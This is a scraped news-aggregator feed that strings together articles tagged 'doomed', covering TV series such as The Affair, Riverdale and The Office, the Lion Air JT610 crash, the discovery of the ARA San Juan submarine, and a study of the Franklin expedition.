]]> https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/feed/ 0 The Affair EP Laments Cole and Alison’s ‘Fairytale Love,’ Suggests That They Were Always ‘Doomed’ https://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/ https://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/#respond Mon, 04 Nov 2019 03:54:48 +0000 http://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/

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Warning: The following contains spoilers from The Affair series finale.

Despite not appearing during the fifth and final season of The Affair, Joshua Jackson’s Cole Lockhart and Ruth Wilson’s Alison Bailey were still very much a part of the show. That was partly due to the presence of new cast member Anna Paquin, who played Cole and Alison’s grown-up daughter Joanie, and partly due to the frequent use of flashbacks, which helped fill at least part of the void left by one of the series’ two central couples.

As exec producer Sarah Treem implied in Part 1 of our series finale conversation (which you can read here), a happy ending for the former Montauk sweethearts wasn’t in the cards when she first conceived of the show. But what about later, when The Affair became less interested in telling stories about Noah and Alison, and more interested in exploring the dynamics between the original pairings? What would have happened between Alison and Cole had Wilson and Jackson stuck around for the series’ last stretch?

“It’s a good question, but it’s a hypothetical because we never really got a chance to explore that,” Treem tells TVLine. “I never honestly thought that everybody was going to get back together. That didn’t seem like reality. I don’t think all love finds its way back again… so even Noah and Helen finding their way back to each other is pretty significant.”

“My feeling was always that the true, sort of uncompromised love of the show was actually Alison and Cole,” she says. “Those are two characters for whom a tragedy split them apart, not their bad choices. The original rupture in their relationship came from the unspeakable tragedy of [losing Gabriel]. So it felt to me that if theirs was true love — and Noah says early on that true love can’t survive in an imperfect world — that their love was actually doomed. That was kind of the fairytale love, and it was Noah and Helen whose love is much more compromised and, to me, kind of realistic. In a long-term marriage, people do hurt each other over and over again for no really good reason, just because life is strange and long and hard. And to get those two characters back together at the end, I thought, was the bigger challenge — and the more interesting one.”

And that’s why, even if she had the chance, Treem wouldn’t necessarily have had Cole and Alison find their way back to each other.

“I felt for Alison and Cole to come back together would have been a little obvious,” she admits. “I know that’s what everybody is rooting for, but it would have been kind of a movie ending, and I didn’t want to do that. And I felt that, even in the previous construct, when I was thinking of all four of these characters ending the show together, not all of them were going to survive. Way back when, I thought, ‘Not everybody’s going to make it here.’”

What did you think of The Affair‘s series finale? Grade it via the following poll, then discuss in the comments.

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]]> https://briefnews.eu/the-affair-ep-laments-cole-and-alisons-fairytale-love-suggests-that-they-were-always-doomed/feed/ 0 Outlander season 5 spoilers: Roger MacKenzie doomed as death exposed in teasing clue https://briefnews.eu/outlander-season-5-spoilers-roger-mackenzie-doomed-as-death-exposed-in-teasing-clue/ https://briefnews.eu/outlander-season-5-spoilers-roger-mackenzie-doomed-as-death-exposed-in-teasing-clue/#respond Mon, 23 Sep 2019 23:32:22 +0000 http://briefnews.eu/outlander-season-5-spoilers-roger-mackenzie-doomed-as-death-exposed-in-teasing-clue/

Thankfully, the people who hanged him did not tie the noose properly meaning his life was spared.

This botched attempt at killing Roger allows Claire Fraser (Caitriona Balfe) to arrive and save him, leaving him alive, but almost unable to speak anymore.

Despite this fantastical turn of events being highly entertaining for readers, this may end up being one of the events that changes in the upcoming fifth season.

As Roger has gone up against a lot of turmoil in the recent seasons of the STARZ show, could he now be due to die?

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]]> https://briefnews.eu/outlander-season-5-spoilers-roger-mackenzie-doomed-as-death-exposed-in-teasing-clue/feed/ 0 The Ranch Premiere Recap: Are Colt and Abby Doomed? Plus, Who OD’d? https://briefnews.eu/the-ranch-premiere-recap-are-colt-and-abby-doomed-plus-who-odd/ https://briefnews.eu/the-ranch-premiere-recap-are-colt-and-abby-doomed-plus-who-odd/#respond Fri, 13 Sep 2019 21:45:00 +0000 http://briefnews.eu/the-ranch-premiere-recap-are-colt-and-abby-doomed-plus-who-odd/

Colt Bennett’s luck goes from bad to worse in The Ranch‘s Part 7 premiere.

When we last left the Iron River Ranch, Abby was devastated that Colt lied to her about the sale of the Bennett Brothers’ herd. She decided that she’d had enough, and told Colt that they should separate.

We pick back up a week later, and Abby has taken Peyton to stay with her parents. It’s a bit of a schlep to her new teaching gig, so Colt offers to let them stay in the hunting cabin. She mulls it over, but ultimately decides against it. Instead, she gets her own apartment, which deeply hurts Colt. In response to the news, Colt goes out and gets wasted, then shows up at Chuck and Janice’s house in the middle of the night. He tries to instigate a fight with Chuck, but his father-in-law takes pity on him and drives him home.

In addition to his family falling apart, the future of the Bennett Brothers’ Ranch looks bleak. Dale and new assistant Heather stop by to check and see if any of Colt’s heifers are pregnant, only to discover that the bull he bought is unable to inseminate the herd. Rather than turn to Beau, Colt reaches out to Lisa Neumann for help. He asks to buy one of her bulls, but he can’t afford to pay her until the spring. She refuses to lend the independent rancher a hand, then one day later finds that one of her bulls has wandered onto Cole’s property. She threatens to get the authorities involved, but Colt swears he didn’t steal it. The following night, he goes to talk it over with Beau, who reveals that he “accidentally” left the gate open that separates Iron River from the Bennett Brothers’ Ranch. “I don’t know how my bull got over there, but I’m glad my son caught a break,” he says.

Meanwhile, cousin Luke runs off to Vegas with Rooster’s ex Mary and gets hitched. After a celebratory trip to the gun range, the drug-addled bride takes a few too many pills. Luke gets out of the shower to find that his wife has suffered an overdose.

Last but not least is Mr. Peterson (recurring guest star Kurtwood Smith), who returns from Thailand and catches up with Colt. Everyone assumed the sickly rancher had succumb to brain cancer, but a recent trip to the oncologist revealed that he’s in remission.

What’d you think of The Ranch‘s first episode back? Grade it via the following poll.

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]]> https://briefnews.eu/the-ranch-premiere-recap-are-colt-and-abby-doomed-plus-who-odd/feed/ 0 Riverdale season 3 spoilers: 'This is crazy' Jughead Jones DOOMED after FP confession? https://briefnews.eu/riverdale-season-3-spoilers-this-is-crazy-jughead-jones-doomed-after-fp-confession/ https://briefnews.eu/riverdale-season-3-spoilers-this-is-crazy-jughead-jones-doomed-after-fp-confession/#respond Thu, 31 Jan 2019 04:47:08 +0000 http://briefnews.eu/riverdale-season-3-spoilers-this-is-crazy-jughead-jones-doomed-after-fp-confession/

WARNING: This article contains spoilers from Riverdale season three episode 11, The Red Dahlia.

Hiram Lodge (played by Mark Consuelos) was the topic of interest in Riverdale episode 11, titled The Red Dahlia, after he was found shot last week.

It quickly became a question of who shot the father of Veronica Lodge (Camila Mendes) and why they gunned down the businessman.

Hoping to get to the bottom of it all was Jughead Jones (Cole Sprouse), who under the orders of Veronica was tasked with finding Hiram assassin.

His first point of contact was Hermione Lodge (Marisol Nichols), who vehemently denied harming her husband and pointed the finger at his mistress Mrs Mulwray (Kelly Ripa).

Speaking the Serpent King to Mrs Mulwray, the Mayor of Riverdale sneered: “You do know how volatile blondes can be.”

Not long after their conversation Jughead and his girlfriend Betty Cooper’s (Lili Reinhart) tracked down Hiram’s mistress at the Five Seasons.

However, when they got there they found The Maple Club, a brothel specialising in female domination, which is run by Penelope Blossom (Nathalie Boltt).

While there Betty confronted Penelope about Claudius Blossom’s (Barclay Hope) death and after much deniable she admitted to killing him.

It turns out Claudius was running a Fizzle Rocks operation at The Maple factory and dumped the run-off into Sweetwater River.

The run-off is what caused seizures in young women and after Penelope told Betty she knew she handed Chic over to the Black Hood, they somewhat agreed to keep each others’ secrets.

Eventually, Jughead learned Hiram’s mistress had been working as a health and sanitation inspector and falsified a report about Riverdale’s water supply.

Later, when Sweet Pea took Jughead to a cabin up north where Hermione was having an affair with Sheriff Minetta, who was believed to be dead, he found out about her twisted plan.

Hermione wanted Minetta to finish Hiram off and frame it on newly appointed sheriff FP Jones (Skeet Ulrich).

But when Jughead warned his dad about Hermione’s scheme, he confessed to being the one who shot Hiram at her request.

Of course, Hermione later denied any wrong-doing and eventually killed Sheriff Minetta, leaving fans fearing she will come for Jughead next.

Taking to Twitter, one viewer wrote: “If Jughead dies because of Veronica I will hate her more than I already hate her.”

Another person said: “Theory: That woman wasn’t Hiram’s mistress, she was just the water inspector and that’s all. Hermione wanted to confuse Jughead.”

A third commentator tweeted: “Okay hear me out, what is Hermione does something to hurt Betty to push Jughead to madness because he would be expecting an attack himself rather than his love. I hope not, but it’s Riverdale.”

Someone else shared: “FP admitted to Jughead he’s the one who shot Hiram Lodge this is crazy.”

Riverdale continues next Wednesday on The CW in the US and today on Netflix in the UK.

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]]> https://briefnews.eu/riverdale-season-3-spoilers-this-is-crazy-jughead-jones-doomed-after-fp-confession/feed/ 0 ‘The Office’ Producer Mike Schur Explains How the Series Survived a Doomed First Season https://briefnews.eu/the-office-producer-mike-schur-explains-how-the-series-survived-a-doomed-first-season/ https://briefnews.eu/the-office-producer-mike-schur-explains-how-the-series-survived-a-doomed-first-season/#respond Wed, 26 Dec 2018 12:00:44 +0000 http://briefnews.eu/the-office-producer-mike-schur-explains-how-the-series-survived-a-doomed-first-season/ How The Office Survived

You’d be hard-pressed to find a more beloved comedy series than The Office. Fans are endlessly watching reruns now that they’re playing on Comedy Central all the time, and they’ve also watched the series over and over again as one of the most popular library titles on Netflix. But The Office wasn’t always a hit. In fact, the first season of the series was mostly seen as a failure, and the show was nearly doomed from the beginning. So how did the show survive seemingly insurmountable odds?

The Office producer Michael Schur, who also played Dwight Schrute’s oddball cousin Mose on the series, has gone on to create such hit shows as Parks and Recreation and The Good Place. But initially, he was just a writer finding his own way in network television, and he observed how the series was able to survive past a first season that would have gotten most shows canceled.

For those who might not be familiar, The Office started off as a bit of an experiment. Only six episodes were ordered for the first season as kind of an experiment to see if audiences in the United States would latch on to the bleak, dry comedy style without a laugh track that was already a hit in the United Kingdom thanks to original series creators Ricky Gervais and Stephen Merchant. Because of that, the series is very raw, and it’s nearly a carbon copy of the first season from the show’s run across the pond.

Thankfully, gears shifted behind the scenes for the show’s second season, one of the best seasons of any comedy series in the history of television, and The Office was able to more clearly define and differentiate itself from the original United Kingdom series. But the path to get there wasn’t easy, as Michael Schur explained three key reasons why the show survived in a recent interview with Vox’s podcast I Think You’re Interesting with Todd VanDerWerff. It provides fascinating insight into how we almost didn’t get one of the most influential and beloved comedy series of all time.

How The Office Survived

A Bold Network Executive

The first thing that helped The Office survive longer than it otherwise might have was NBC executive Kevin Reilly, who was in charge of the network at the time. It’s not customary for executives to stake their reputation on a show the way that Reilly did for The Office, but he had a fierce passion for the series and really wanted to see it succeed. Schur said:

“That show was developed by Kevin Reilly, who was running NBC at the time. He had come from FX, and he loved the British show, and he was very passionate about The Office. So he gave [creator] Greg [Daniels] the chance to basically do it the way he wanted and basically cast it the way he wanted. He was very invested in the show. We made six episodes that first season, and no one liked it.

Ordinarily, 99 times out of 100, or maybe even 999 times out of 1,000, that show is canceled. It’s a six-episode experiment, and this is back, by the way, when sitcoms — when anything — could get big ratings on network TV. So that show is gonna get canceled. We all knew it was going to get canceled.”

Morale on the set was low, so much that the cast was pretty somber during the last week of shooting and even star Steve Carell could smell the blood in the water but still tried to look on the bright side by acknowledging that they at least got to make six episodes of this show that truly was something different on US television at the time. But Schur explained how Kevin Reilly turned things around:

“So, definitely going to get canceled — except that Kevin Reilly kind of stakes his reputation as an executive [on it]. And says to his bosses at NBC, “I believe in this show. I think it can work. Please, please, please give me another chance. Give us another season.”

They give him what was announced in the press as 13. It was not. It was six. We were given six more for season two, but they announced it was 13, because if they had announced it as six, everyone would have smelled blood and said, “Well, it’s doomed.”

So that’s thing No. 1. A network executive does something which network executives are not known to do, which is stick his neck out.”

How The Office Survived

Steve Carell Becomes a Movie Star

Another key piece of The Office surviving on life support was the sudden burst of fame that Steve Carell had after the release of The 40-Year Old Virgin. At the time the first season of The Office came out, Steve Carell wasn’t a household name. Sure, he appeared in Bruce Almighty and was a fan favorite character as Brick Tamland in Anchorman: The Legend of Ron Burgundy, but it wasn’t until he led The 40-Year Old Virgin that he was truly a star. Coincidentally enough, that happened after the first season of The Office and it became the key to getting a second season. Schur explained:

“Over that off-season, after those six episodes aired that nobody liked, Steve Carell became a gigantic movie star. Just totally coincidentally, 40-Year-Old Virgin comes out, and the world goes, “Oh my God, look at this guy. Look how funny he is, and look how kind he is, and look how talented he is.” And NBC goes, “Well, we have this giant movie star under contract…”

And, look, things one and two are related here. They partially gave us the second season because they had Steve under contract. So. Network executive sticks his neck out. The guy who’s the main character becomes a movie star.”

The Office was airing at a time when TV wasn’t in the new golden age that it’s enjoying now. There weren’t tons of movie stars doing streaming shows or even cable shows at this time. TV was seen as a back-up if a movie career didn’t work out. So having a newly popular movie star on a network television series was a huge plus for NBC. However, in order to make Steve Carell into the Michael Scott that fans would eventually come to love, despite his endlessly frustrating flaws and embarrassing qualities, some changes needed to be made behind the scenes. But no one was happy about it.

How The Office Survived

Making Michael Scott Likeable

Any fan of The Office can tell you how embarrassing and terrible of a person Steve Carell’s character, Dunder-Mifflin manager Michael Scott, can be. But he also has redeeming qualities that make him a loveable moron with a big heart. But turning Michael Scott into that character was something that the writing staff was vehemently against when creator Greg Daniels wanted to make the change before heading into the second season:

“The guy who created the show [Greg Daniels] is a first-ballot hall of fame TV brain. And he says, ‘Well, let’s look at thing No. 2, and let’s think about how we should take that information and use it for the show. And the way we should is by saying, that guy, that character he’s playing in that movie, is so sympathetic and so kind and so lovely. We need to take 20 percent of that energy and put it into Michael Scott’

And the writers — his own writers, me included! — rebelled and said, ‘You’re going to ruin it. The thing that Ricky [Gervais] and Steve [Merchant made] is perfect, and how dare you, and the whole point is it’s supposed to be bleak, and Michael Scott, like David Brent, is a terrible person.’ And Greg patiently listened to all of us, and heard us all out, and said, ‘No, you dummies, I’m going to do it this way, and we’re going to add just a tiny little glimmer of hope to the end of every episode.’

And he did. And that is the difference between that show lasting 12 episodes and lasting 200.”

***

It just goes to show you that at the end of the day, it’s not as easy as simply having a good idea or script for a show to succeed. There are all these moving pieces and even strokes of dumb luck that make a TV show successful. Schur also said:

“I  say all of this as a way of saying, it’s not one thing. It’s a great cast. It’s a very, very smart person making good decisions. And then it’s just stuff that you have no control over. It’s The 40-Year-Old Virgin coming out.

So sometimes, it’s talented people and a talented group of people who have a sort of mind-meld, and then it’s just really good luck. A lot of it is stuff you have no control over that you have to just hope happens to you. With almost every show I’ve been involved in, that has been the case.”

The success of The Office ended up giving us the spiritual sister series Parks and Recreation, also created by Greg Daniels and Michael Schur. Funnily enough, that series also had a bit of a struggle after the first season before it truly found itself in season two. But that’s a story for another time.

The post ‘The Office’ Producer Mike Schur Explains How the Series Survived a Doomed First Season appeared first on /Film.

]]> https://briefnews.eu/the-office-producer-mike-schur-explains-how-the-series-survived-a-doomed-first-season/feed/ 0 Black box reveals the futile struggle between pilots and computer inside the cockpit of doomed Lion Air Flight JT610 https://briefnews.eu/black-box-reveals-the-futile-struggle-between-pilots-and-computer-inside-the-cockpit-of-doomed-lion-air-flight-jt610/ https://briefnews.eu/black-box-reveals-the-futile-struggle-between-pilots-and-computer-inside-the-cockpit-of-doomed-lion-air-flight-jt610/#respond Wed, 28 Nov 2018 11:14:03 +0000 http://briefnews.eu/black-box-reveals-the-futile-struggle-between-pilots-and-computer-inside-the-cockpit-of-doomed-lion-air-flight-jt610/ Lion Air hostess black boxUlet Ifansasti/Getty Images

  • The pilots of last month’s doomed Lion Air Flight JT610 fought in a life-or-death tug-of-war with a malfunctioning automated flight system, data from the flight’s black box reviewed by the New York Times show.
  • That struggle to keep the plane from nosediving ended when the almost new Boeing 737 Max hit the Java Sea so hard some parts disintegrated on impact.
  • The new insights seem to suggest the pilots were unaware how — or unable — to take the necessary steps to override the automatic system. 

 

The New York Times is reporting a harrowing breakthrough in the investigation into the crash of the Lion Air Boeing 737 Max 8 that fell into the Java Sea in October, killing all 189 people on board.

See the rest of the story at Business Insider

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See Also:

SEE ALSO: Passengers on the previous Lion Air Flight said the plane was climbing and falling so wildly that people on board threw up

SEE ALSO: A previous Lion Air flight crashed into the ocean in 2013 but with far deadlier results

]]> https://briefnews.eu/black-box-reveals-the-futile-struggle-between-pilots-and-computer-inside-the-cockpit-of-doomed-lion-air-flight-jt610/feed/ 0 Doomed Argentine sub found a year after its disappearance https://briefnews.eu/doomed-argentine-sub-found-a-year-after-its-disappearance/ https://briefnews.eu/doomed-argentine-sub-found-a-year-after-its-disappearance/#respond Tue, 20 Nov 2018 06:36:20 +0000 http://briefnews.eu/doomed-argentine-sub-found-a-year-after-its-disappearance/
The Argentine sub <em>San Juan</em>—photographed here in May 2017, just six months before its tragic loss—has been found at the bottom of an undersea ravine.

Enlarge / The Argentine sub San Juan—photographed here in May 2017, just six months before its tragic loss—has been found at the bottom of an undersea ravine. (credit: Juan Kulichevsky / Wikimedia)

Almost a year to the day after its tragic loss at sea, the Argentine Navy submarine ARA San Juan has been located. Using side-scan sonar and autonomous underwater vehicles (AUVs), the crew of the oceanographic survey vessel Seabed Constructor found the lost sub in the bottom of an undersea ravine about 600 kilometers (approximately 375 miles) east of Comodoro Rivadavia in Argentina’s Patagonia region. The submarine rests at a depth of 920 meters (more than 3,000 feet) below the surface of the South Atlantic—over three times its safe operating depth and well below the crush depth of the sub.

The San Juan was one of only two TR-1700 (or Santa Cruz) class submarines completed for the Argentine Navy by Thyssen Nordseewerke. Built in Germany, the San Juan was delivered in 1984 and underwent a major refit in 2014; other subs intended to be built for the class were put on hold or cancelled, with two unfinished subs cannibalized for parts. Much of the sub’s mission in recent years was focused on surveillance operations in Argentina’s exclusive economic zone in the South Atlantic, primarily to combat illegal fishing.

The announcement of the discovery came only two days after a memorial service held by family members of the crew and a day after the anniversary of the ship’s loss. Recovery operations are pending, awaiting a decision by the Argentine government.

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]]> https://briefnews.eu/doomed-argentine-sub-found-a-year-after-its-disappearance/feed/ 0 Strands of hair shed light on doomed 19th-century Arctic expedition https://briefnews.eu/strands-of-hair-shed-light-on-doomed-19th-century-arctic-expedition/ https://briefnews.eu/strands-of-hair-shed-light-on-doomed-19th-century-arctic-expedition/#respond Sun, 30 Sep 2018 15:49:42 +0000 http://briefnews.eu/strands-of-hair-shed-light-on-doomed-19th-century-arctic-expedition/
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Enlarge (credit: John Wilson Carmichael)

Lead poisoning may have made life difficult for the doomed men of John Franklin’s 1845 expedition, which got lost in the Arctic while in search of the Northwest Passage linking the Atlantic and Pacific Oceans. But it probably didn’t contribute much to their inevitable fates. That’s the conclusion of a new study of lead concentrations in the hair of one of the men who died while the expedition was stranded on King William Island between late 1846 and early 1848.

129 Doomed Men

Captain Sir John Franklin’s expedition wasn’t the first to sail north in search of a passage linking the Atlantic and Pacific Oceans, and it wasn’t the last. But its disappearance left behind a compelling mystery, one kept in the public consciousness for years by the tireless efforts of Franklin’s widow. For years in the late 19th century, the search for the lost sailing ships HMS Terror and HMS Erebus nearly rivaled the search for the Northwest Passage itself.

Thanks to a note found in 1869 on King William Island, we know that all was well on the wooden ships in May of 1847, aside from being stuck in the ice. But by April of 1848, 24 men had died, including Franklin and the expedition’s assistant surgeon, naturalist Harry Goodsir. The remaining 105 had abandoned their trapped ships and set off across the ice to try to reach Back River on the Canadian mainland. Neither ship would be seen again for over 150 years. A century and a half later, historians are still debating exactly what went wrong.

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